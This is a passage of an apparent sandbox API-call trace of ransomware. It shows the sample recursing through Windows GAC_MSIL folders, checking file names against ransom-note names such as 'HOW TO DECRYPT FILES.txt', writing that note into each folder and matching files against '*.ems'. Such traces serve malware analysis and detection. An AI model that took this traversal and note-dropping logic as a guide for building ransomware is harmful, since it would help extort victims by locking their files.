(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config", pszSpec="*.ems") returned 0 [0100.793] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x561f1030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x561f1030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.793] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0100.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0100.793] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0100.793] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.config" [0100.793] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" [0100.793] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.793] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.794] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.794] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll" [0100.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll", pszSpec="*.ems") returned 0 [0100.794] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x561f1030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x561f1030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.794] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.794] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561f1030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa69def90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69def90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.794] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.794] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6769006c, dwReserved1=0x690000, cFileName="Policy.11.0.Microsoft.Office.Interop.MSProject", cAlternateFileName="POLICY~1.MSP")) returned 1 [0100.795] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject") returned -1 [0100.795] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject") returned -1 [0100.795] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.795] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject" [0100.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.795] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.795] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.795] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.796] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.796] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.796] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\*.*") returned="*.*" [0100.796] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c" [0100.796] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.802] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.802] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.802] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.802] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.802] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbeb89f40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbeb89f40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.MSProject.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.802] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.802] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0100.802] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0100.802] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.config") returned -1 [0100.802] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" [0100.802] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.802] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.802] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.802] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.805] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.805] CloseHandle (hObject=0x90) returned 1 [0100.805] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config" [0100.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config", pszSpec="*.ems") returned 0 [0100.806] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbeb89f40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbeb89f40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.MSProject.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.806] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.806] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0100.806] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0100.806] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.dll") returned -1 [0100.806] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.config") returned="Policy.11.0.Microsoft.Office.Interop.MSProject.config" [0100.806] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" [0100.806] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.806] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.806] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.807] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.MSProject.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.dll" [0100.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.MSProject.dll", pszSpec="*.ems") returned 0 [0100.807] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbeb89f40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbeb89f40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.MSProject.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.807] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.807] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbeb89f40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.807] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.807] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0067, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.Outlook", cAlternateFileName="POLICY~1.OUT")) returned 1 [0100.807] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook") returned -1 [0100.808] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook") returned -1 [0100.808] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Outlook" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook" [0100.808] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.808] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.808] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.809] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.809] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.809] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.809] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.809] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\*.*") returned="*.*" [0100.809] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c" [0100.809] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.812] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.812] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b5e2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6c40590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6c40590, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.812] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.812] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.812] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, 